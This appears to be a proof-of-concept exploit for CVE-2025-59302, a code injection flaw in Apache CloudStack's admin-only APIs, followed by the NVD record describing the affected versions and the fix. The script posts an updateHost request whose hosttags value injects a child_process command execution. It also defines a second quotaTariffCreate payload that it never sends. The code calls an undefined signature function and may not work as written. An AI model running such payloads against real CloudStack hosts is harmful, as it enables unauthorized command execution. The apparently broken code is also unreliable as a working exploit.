CVE-2025-59302

// CVE-2025-59302 PoC - Apache CloudStack Code Injection // Requires admin privileges to exploit const axios = require('axios'); const TARGET_URL = 'http://target-cloudstack.com:8080/client/api'; const API_KEY = 'your_admin_api_key'; const SECRET_KEY = 'your_admin_secret_key'; // Malicious payload - JavaScript code injection const maliciousPayload = { request: 'updateHost', command: 'updateHost', id: 'host-uuid-here', hosttags: 'test; require("child_process").exec("whoami")' }; // Example with quotaTariffCreate const quotaTariffPayload = { request: 'quotaTariffCreate', command: 'quotaTariffCreate', tariff: { zoneId: 'zone-uuid', value: 'process.env.NODE_ENV' } }; async function exploit() { try { console.log('[+] Sending malicious request to updateHost API...'); const response = await axios.post(TARGET_URL, maliciousPayload, { params: { apiKey: API_KEY, signature: generateSignature(maliciousPayload, SECRET_KEY) } }); console.log('[+] Response:', response.data); } catch (error) { console.error('[-] Error:', error.message); } } // Note: This PoC requires valid admin credentials and proper signature generation // Refer to CloudStack API documentation for signature generation method

{"cve": {"id": "CVE-2025-59302", "sourceIdentifier": "[email protected]", "published": "2025-11-27T12:15:47.410", "lastModified": "2025-12-02T14:36:02.567", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Apache CloudStack improper control of generation of code ('Code Injection') vulnerability is found in the following APIs which are accessible only to admins.\n\n * quotaTariffCreate\n * quotaTariffUpdate\n * createSecondaryStorageSelector\n * updateSecondaryStorageSelector\n * updateHost\n * updateStorage\n\n\nThis issue affects Apache CloudStack: from 4.18.0 before 4.20.2, from 4.21.0 before 4.22.0. Users are recommended to upgrade to versions 4.20.2 or 4.22.0, which contain the fix.\n\nThe fix introduces a new global configuration flag, js.interpretation.enabled, allowing administrators to control the interpretation of JavaScript expressions in these APIs, thereby mitigating the code injection risk."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:cloudstack:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.18.0.0", "versionEndExcluding": "4.20.2.0", "matchCriteriaId": "00CA5BCF-572F-47AE-B9A6-F4A91BB3B484"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:cloudstack:4.21.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "8D19C2F1-2730-4EAE-A7CF-950F185B76FC"}]}]}], "references": [{"url": "https://lists.apache.org/thread/kwwsg2j85f1b75o0ht5zbr34d7h66788", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2025/11/27/2", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}